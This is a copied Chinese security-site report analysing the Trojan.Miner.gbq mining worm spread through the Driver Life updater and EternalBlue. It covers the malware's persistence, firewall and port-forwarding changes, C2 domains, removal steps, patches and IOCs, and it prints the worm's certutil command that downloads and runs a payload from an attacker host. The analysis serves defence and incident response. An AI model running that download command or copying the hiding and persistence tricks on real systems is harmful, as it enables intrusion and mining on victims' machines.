Trojan.Miner.gbq挖矿病毒分析报告

https://www.freebuf.com/articles/network/196594.html

竟然还有端口转发...
这哥们..
江民安全实验室2019-03-04共13635人围观 ,发现 1 个不明物体网络安全

2018年12月一款通过驱动人生升级通道下发传播的木马爆发,该木马同时利用了永恒之蓝高危漏洞进行传播,最终导致了仅2个小时受攻击的用户就高达10万,造成了严重的危害。

一、病毒信息

病毒名称:Trojan.Miner.gbq。

病毒类型:挖矿程序,后门,蠕虫。

MD5:59b18d6146a2aa066f661599c496090d。

SHA1:48a3046381a963a2471875ef67886e35b90e8541。

文件类型:PE、EXE。

文件大小:201,776 字节。

传播途径:通过驱动人生的升级通道下发。

影响系统:安装了受影响的驱动人生程序的Windows系统,内网中未打MS17-010系统补丁且开启445端口的Windows系统。

二、病毒概况

2019年1月24日,攻击者通过云控指令对该木马又进行了新的更新,更新文件下载URL:http[:]//dl.haqo.net/updater.exe,MD5:59b18d6146a2aa066f661599c496090d,下载到本地保存的路径为:C:\Windows\temp\updater.exe,该恶意代码执行后便会将自身移动到系统关键目录并释放多个文件执行,上传主机的相关信息并从指定的恶意域名查询指令,根据云端指令执行恶意行为,当前云端的指令仅仅是控制感染主机进行挖矿操作,后续攻击者可以根据需要改变云端指令,从而控制感染主机执行更加危险的操作。

三、病毒危害

感染主机将接受恶意攻击者下发的任意指令执行恶意操作,当前下发的指令是控制感染主机进行挖矿操作,影响用户的主机性能,同时下载永恒之蓝利用工具实现内网的感染操作,从而实现组建僵尸网络的目的。

四、文件行为

1).下载保存文件到c:\windows\temp\updater.exe,执行后移动到其他位置;

2).移动文件到c:\windows\system32\svhost.exe,并设置隐藏属性;

3).拷贝文件到c:\windows\system32\drivers\svchost.exe,并设置隐藏属性;

4).释放文件到c:\windows\system32\drivers\taskmgr.exe,并设置隐藏属性;

5).释放文件到c:\windows\system32\wmiex.exe,并设置隐藏属性;

6).下载文件到c:\windows\temp\svchost,此文件为永恒之蓝漏洞利用工具;

7).释放文件到c:\windows\temp\m.ps1,此文件为mimikatz密码hash提取工具;

8).释放文件到c:\windows\temp\mkatz.ini,此文件包含提取本机用户的hash值。

注:在Windows64位系统中c:\windows\system32替换为c\windows\SysWOW64;

五、注册表行为

1).添加注册表项:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ddriver

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WebServers

六、网络行为

1).尝试上传主机信息到http[:]//i.haqo.net;

2).尝试上传主机信息到http[:]//p.abbny.com;

3).尝试上传主机信息到http[:]//o.beahh.com;

4).尝试上传主机信息到http[:]//ii.haqo.net;

5).尝试上传主机信息到http[:]//pp.abbny.com;

6).尝试上传主机信息到http[:]//oo.beahh.com;

7).尝试获取远控指令信息http[:]//i.haqo.net/i.png;

8).尝试获取远控指令信息http[:]//p.abbny.com/im.png;

9).尝试获取远控指令信息http[:]//o.beahh.com/i.png;

10).尝试获取远控指令信息http[:]//ii.haqo.net/u.png;

11).尝试获取远控指令信息http[:]//pp.abbny.com/u.png;

12).尝试获取远控指令信息http[:]//oo.beahh.com/u.png;

七、手工清除方法

1).删除计划任务,结束病毒进程并删除服务:

Ÿ 删除名为Ddrivers和WebServers的计划任务;

Ÿ 删除名为DnsScan的计划任务;

Ÿ 删除名为\Microsoft\Windows\Bluetooths的计划任务;

Ÿ 删除可能存在的计划任务Certificate;

Ÿ 删除可能存在的计划任务Credentials;

Ÿ 结束名为wmiex.exe进程以及描述为“svchost”的svchost进程;(注:通常正常的svchost进程描述为“Windows服务主进程”);

Ÿ 删除名为Ddriver和WebServers的服务项;

2).删除下载和释放的病毒文件,路径如下:

Ÿ c:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\run.bat(注:[Username] 替换为当前登录的用户名);

Ÿ c:\Users\[Username]\AppData\Roaming\Microsoft\cred.ps1(注:[Username]替换为当前登录的用户名);

Ÿ c:\programdata\microsoft\cred.ps1;

Ÿ c:\windows\temp\updater.exe;

Ÿ c:\windows\system32\svhost.exe;

Ÿ c:\windows\system32\drivers\svchost.exe;

Ÿ c:\windows\system32\drivers\taskmgr.exe;

Ÿ c:\windows\system32\wmiex.exe;

Ÿ c:\windows\temp\svchost;

Ÿ c:\windows\temp\m.ps1;

Ÿ c:\windows\temp\mkatz.ini;

3).删除病毒创建的注册表项:

Ÿ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Ddriver;

Ÿ HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WebServers;

4).删除病毒设置的防火墙栏目:

Ÿ 删除入站规则名为UDP,开放65532端口的规则;

Ÿ 删除入站规则名为UDP2,开放65531端口的规则;

Ÿ 删除入站规则名为ShareService,开放65533端口的规则;

5).删除病毒设置的端口转发的设置

CMD管理员执行如下命令:

Ÿ netsh interface portproxy delete v4tov4 listenport=65531

Ÿ netsh interface portproxy delete v4tov4 listenport=65532

八、应对措施及建议

1).卸载老版本的驱动人生程序或者更新至最新版防止攻击者下发新的恶意代码;

2).内网使用共享的主机打上MS17-010漏洞补丁(补丁编号为KB4012212和KB4012215),防止利用此漏洞的横向攻击;

3).内网使用共享的主机还需要打上KB2871997漏洞补丁,防止利用此漏洞的横向攻击;

4).安装好防病毒软件并及时更新病毒库以抵抗最新恶意代码的攻击。

九、详细分析报告

1).主程序启动后首先尝试启动名为Ddriver的服务进程,如果主机已经被感染则直接执行服务函数进行挖矿等恶意行为,如果主机是初次被感染则执行感染配置行为。

图1 主函数入口

2).第一步检查自身名称是否为svhost或者svchost.exe,如果程序名称不为svhost或者svchost.exe则从资源节中解密释放PE文件,释放文件的hash: a4b7940b3d6b03269194f728610784d6,最终在磁盘中释放路径为C:\windows\temp\ttt.exe,释放完成后便执行该文件。

图2 释放主程序中102号资源文件

图3 加密状态的102号资源文件

3).释放执行ttt.exe文件后便多次使用cmd命令清理系统原来感染的老版本的挖矿程序,为新版挖矿程序的安装和运行清理环境。

图4 结束删除老版的挖矿程序

4).设置Windows防火墙开启65531,65532,65533端口,在防火墙规则中分别命名为UDP2,UDP,ShareService,同时开启端口转发,将来自65532端口的流量转发到1.1.1.1地址的53端口,将来自65531端口的流量转发到1.1.1.1地址的53端口。

图5 设置防火墙并设置端口代理

图6 Windows防火墙中的增项

图7 端口代理

5).拷贝主程序到C:\windows\system32\svhost.exe并设置隐藏属性,同时拷贝一份到C:\windows\system32\drivers\svchost.exe,之后设置计划任务同时设置注册表项,实现程序的开机启动和定期触发执行。

图8 拷贝主程序文件到系统关键目录下

图9 设置计划任务和注册表项

6).完成上述配置后尝试使用CreateServiceA函数将C:\windows\system32\drivers\svchost.exe注册为服务,如果服务存在则修改服务配置,如果CreateServiceA函数调用失败则使用CMD方式调用sc create创建服务,最终尝试使用net start和StartServiceA函数的方式启动服务函数。

图10 创建Ddriver服务的首选方式

图11 创建Ddriver服务的备用方式

图12 启动创建的Ddriver服务

7).服务主函数中首先根据系统位数拼接后续将要使用到的字符串资源,包括从而已域名临时下载的文件以及解密之后的文件,和后续用来伪装成任务管理器共享进程进行挖矿操作taskmgr.exe。

图13 拼接后续需要使用的字符串

8). 创建名为“it is holy shit”的互斥体防止进程重复启动运行,根据系统位数解密释放对应的资源文件,64位系统解密释放100号资源,32位系统解密释放标号为101号资源,释放路径为C:\Windows\system32\drivers\taskmgr.exe(64位系统:C:\Windows\SysWOW64\drivers\taskmgr.exe)。

图14 利用互斥体防止进程重复启动

图15 根据系统位数释放taskmgr.exe文件

9).之后创建四个线程分别进行相关的恶意操作,第一个线程根据主机中的进程和主机系统相关参数调整挖矿程序的运行状态,当用户打开任务管理器浏览时会自动关闭伪装程序taskmgr.exe,使其不被用户发现;第二个线程每隔10s尝试启动C:\Windows\temp\svchost.exe(永恒之蓝漏洞攻击文件),实现内网的横向感染传播;第三个线程使用Wmic命令,每10秒对进程进行一次检查,触发时将结束挖矿进程;第四个线程打开监听65533端口。

图16 创建四个线程进行操作

图17 根据主机进程决定是否暂时关闭伪装进程

图18 每隔10秒尝试启动永恒之蓝漏洞攻击文件

图19 每隔10秒使用WMIC检查进程并决定是否关闭挖矿程序

图20 开启监听65533端口

10).收集主机信息并发送到远程服务器,收集的信息包括主机ID,GUID,MAC地址,用户名,系统版本,系统位数,CPU型号,安装的反病毒软件等等,最终在下载下一步指令的同时将上述信息传输到远程服务器。

图21 收集发送到远程服务器的主机信息

11).之后尝试访问远程服务器中指定的文件内容,从而获取执行指令,在本地解密后解析执行指令,发送的指令通过RC4+RSA算法进行加密,本地获取指令后通过硬编码的RSA公钥进行解密,最终解析执行远程命令。

图22 当前下发的指令密文

图23 密文用于解密网址及资源路径并使用RSA算法验证指令合法性

12).由接受到的*.png中的指令内容下载指定的文件执行,当前指令的意图是从恶意域名http[:]//dl.haqo.net/下载i.exez资源,该资源为加密状态,下载到本地后解密执行,最终下载解密到C:\windows\temp\svchost.exe,目前下载的程序为永恒之蓝漏洞利用程序,该程序利用445端口实现了病毒的内网横向传播操作,该利用工具中还增加了PASS-THE-HASH的模块,尝试利用内网弱口令进行远程拷贝执行感染操作。

图24 下载指定文件解密执行

13).释放的ttt.exe文件执行之后会将自身移动到C:\Windows\System32\wmiex.exe(64位系统:C:\Windows\SysWOW64\wmiex.exe)并设置了隐藏属性,将自身写入计划任务,任务名为WebServers,每隔50分钟执行一次C:\Windows\system32\wmiex.exe(64位系统:C:\Windows\SysWOW64\wmiex.exe),并创建服务WebServers设置为开机自启动。

图25 释放的ttt.exe文件被移动到指定路径

图26 设置计划任务项使其定期触发

图27 创建服务使其每次开机能够自启动

图28 释放文件实现上述功能采用的命令行

14).WebServers服务启动后会向指定的三个域名发起Get请求将获取的主机相关信息发送到远程服务器,从而收集主机的相关信息,其中包含主机名,标识主机的GUID,主机MAC地址,主机系统和操作系统位数,其中pp.abbny.com和oo.beahh.com域名解析请求失败,ii.haqo.net解析IP为172.104.73.9(IP地址显示归属地为日本)。

图29 上传信息所到的恶意域名

图30 上传信息主机信息

15).WebServers服务同时具备Ddriver服务的联网功能,通过尝试下载指定域名的u.png文件,图片文件中包含了加密的指令内容,攻击者可以通过编辑该文件从而控制感染主机进行任意操作,也可以修改指令改变所下发的指令内容,当前该文件并不存在,因此WebServers不会执行其他恶意行为,仅仅处于等待指令的状态,在每次开机以及开机状态后每隔50分钟检查接收一次远程指令,wmiex.exe中的代码和svchost主程序中网络相关的代码基本一致,RSA公钥也是一样的,因此在这里算是攻击者的一个重复性操作。

图31 wmiex.exe和svchost.exe硬编码的公钥信息

16).内网利用漏洞进行传播,漏洞利用成功后远程执行命令:certutil -urlcache -split -f http[:]//dl.haqo.net/dll.exe c:/installs.exe,使受害主机主动到攻击者设置好的网站下载执行恶意代码,实现蠕虫式传播。

图32 漏洞利用工具包

十、样本溯源分析

十一、附录(IOCs)

a)HASH

bdbfa96d17c2f06f68b3bcc84568cf445915e194f130b0dc2411805cf889b6cc 
b771267551961ce840a1fbcd65e8f5ecd0a21350387f35bbcd4c24125ec04530

01b842cab76c78a1d9860ade258923772fe3b08ae7a428d5f54e1bf9d9c3b205

735d9699b69b3ae2d27cbf452d488e1d1adbe643c8228e7093d012bf7fcff6de

57e4c156750f2ad1de1e22a5dd749a8dc4fedf88132c0ad6cb3506a838664dca

b)C&C

i.haqo.net

ii.haqo.net

dl.haqo.net

o.beahh.com

oo.beahh.com

p.abbny.com

pp.abbny.com

172.104.73.9(日本)

68.183.178.71(美国)

139.162.107.97(日本)

153.92.4.49(美国)

120.52.51.13(中国河北省廊坊市)

[FreeBuff]Trojan.Miner.gbq挖矿病毒分析报告的更多相关文章

  1. 《2018年云上挖矿态势分析报告》发布,非Web类应用安全风险需重点关注

    近日,阿里云安全团队发布了<2018年云上挖矿分析报告>.该报告以阿里云2018年的攻防数据为基础,对恶意挖矿态势进行了分析,并为个人和企业提出了合理的安全防护建议. 报告指出,尽管加密货 ...

  2. 【Windows编程】大量病毒分析报告辅助工具编写

    解决重复劳动 是否在分析单个病毒时很爽,分析N个病毒写报告很机械的情况.. 1)样本下载多个文件,这些文件写报告时要加上这些文件的MD5 2)写报告时明明是17个MD5,实际样本有18个的情况.不知道 ...

  3. 一份通过IPC$和lpk.dll感染方式的病毒分析报告

    样本来自52pojie论坛,从事过两年渗透开始学病毒分析后看到IPC$真是再熟悉不过. 1.样本概况 1.1 样本信息 病毒名称:3601.exe MD5值:96043b8dcc7a977b16a28 ...

  4. Virut.ce-感染型病毒分析报告

    1.样本概况 病毒名称 Virus.Win32.Virut.ce MD5 6A500B42FC27CC5546079138370C492F 文件大小 131 KB (134,144 字节) 壳信息 无 ...

  5. 挖矿病毒分析(centos7)

    因为我在工作的时候被各种挖矿病毒搞过几次,所以在这里整理下我遇到的病毒以及大神们的解决方案. 服务器中挖矿病毒后,最基本的一个特征就是CPU使用率瞬间飙升,此时可以通过top命令进行查看,确认是否有异 ...

  6. 【Android病毒分析报告】 - ZooTiger “集恶意推广、隐私窃取、恶意吸费于一体”

    本文章由Jack_Jia编写,转载请注明出处.  文章链接:http://blog.csdn.net/jiazhijun/article/details/11772379 作者:Jack_Jia    ...

  7. 【Android病毒分析报告】 - ZxtdPay 吸费恶魔

    本文章由Jack_Jia编写,转载请注明出处.  文章链接:http://blog.csdn.net/jiazhijun/article/details/11581543 作者:Jack_Jia    ...

  8. 【Android病毒分析报告】- 手机支付毒王“银行悍匪”的前世今生

    from://http://blog.csdn.net/androidsecurity/article/details/18984165 2014年1月8日,央视曝光了一款名为“银行悍匪”的手机银行木 ...

  9. Android木马病毒com.schemedroid的分析报告

    某安全公司移动病毒分析报告的面试题目,该病毒样本的代码量比较大,最大的分析障碍是该病毒样本的类名称和类方法名称以及类成员变量的名称被混淆为无法辨认的特殊字符,每个被分析的类中所有的字符串都被加密处理了 ...

随机推荐

  1. nginx入门与实战

    网站服务 想必我们大多数人都是通过访问网站而开始接触互联网的吧.我们平时访问的网站服务 就是 Web 网络服务,一般是指允许用户通过浏览器访问到互联网中各种资源的服务. Web 网络服务是一种被动访问 ...

  2. Pandas 处理丢失数据

    处理丢失数据 import pandas as pd from pandas import Series, DataFrame import numpy as np 有两种丢失数据: 1. None ...

  3. Python学习之装饰器进阶

    函数知识回顾: 函数的参数分为:实参和形参. 实参:调用函数的时候传入的参数: 形参:分为3种(位置参数.默认参数.动态传参) 位置参数:必须传值 def aaa(a,b): print(a,b) a ...

  4. P2080 增进感情(背包DP)

    思路:将好感度x+y作为体积, 幸福度x-y作为作为价值, 然后就是一个经典的背包问题了.emmmmm,还可以特判一下,因为幸福度为0时就是最小了,没有必要看后面的了吧. 其实,我自己做的时候,沙雕的 ...

  5. 【转】实践HTTP206状态:部分内容和范围请求

    原文:http://www.cyberciti.biz/cloud-computing/http-status-code-206-commad-line-test/ HTTP 2xx范围内的状态码表明 ...

  6. Zookeeper系列一:Zookeeper介绍、Zookeeper安装配置、ZK Shell的使用

    https://www.cnblogs.com/leeSmall/p/9563547.html 一.Zookeeper介绍 1. 介绍Zookeeper之前先来介绍一下分布式 1.1 分布式主要是下面 ...

  7. Linux下su 与 su - 区别

    Linux中切换用户的命令是su或su -.su命令和su -命令最大的本质区别就是:前者只是切换了root身份,但Shell环境仍然是普通用户的Shell:而后者连用户和Shell环境一起切换成ro ...

  8. memcache讲解和在.net中初使用

    memcache讲解和在.net中初使用 2017年10月17日 22:51:36 等待临界 阅读数:503   前言 传统数据库面临的问题 数据库死锁 磁盘IO 正文 了解memcache 原理 基 ...

  9. Android APP性能测试笔记(一)

    Android APP性能测试笔记(一) (1)工具使用   Android Studio  GT, root的真机 (2)记录apk大小(对比竞品)   使用Android Studio导入需要测试 ...

  10. odoo11 安装python ldap

    最近在研究odoo11使用ldap登录的问题,本来自己想着怎么开发,无意间在odoo11代码中看到auth_ldap的模块,原来框架已经考虑到了这个,简单研究了代码之后,理解了其大概的登录处理过程,此 ...